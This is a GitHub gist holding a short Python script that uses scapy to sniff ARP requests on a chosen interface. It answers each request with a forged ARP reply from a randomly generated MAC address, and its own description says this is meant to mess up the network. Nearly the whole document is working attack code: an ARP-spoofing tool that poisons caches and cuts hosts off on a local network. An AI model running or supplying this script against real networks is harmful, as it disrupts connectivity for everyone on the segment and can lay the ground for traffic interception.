Skip to content

Instantly share code, notes, and snippets.

@Ajay656-hash
Created July 5, 2013 12:39
Show Gist options
  • Save Ajay656-hash/5934272 to your computer and use it in GitHub Desktop.
Save Ajay656-hash/5934272 to your computer and use it in GitHub Desktop.
script gives response to the arp requests messing up the network.
#!/usr/bin/env python
import scapy.all as sc
import random
import pcapy
#list all interfaces
devices = pcapy.findalldevs()
print "Available devices are:"
for d in devices :
print d
dev = raw_input("Enter interface name to inject ARP:: ")
def macGen():
return ':'.join(map(lambda x: "%02x" % x, [ 0x00, 0x16, 0x3E, random.randint(0x00, 0x7F), random.randint(0x00, 0xFF), random.randint(0x00, 0xFF) ]))
def arpreply(p):
if (p.haslayer(sc.ARP)) and (p.op is 1):
src_mac = p.src
dst_mac = p.dst
src_ip = p.psrc
dst_ip = p.pdst
r = sc.ARP()
rand_mac= macGen()
r.hwdst = src_mac
r.pdst = src_ip
r.psrc = dst_ip
r.op = 2
r.src = rand_mac
r.hwsrc = rand_mac
reply = sc.Ether(dst=src_mac, src=rand_mac)/r/sc.Padding(load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
sc.sendp(reply)
sc.sniff(filter='arp',iface=dev, prn=arpreply, store=0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment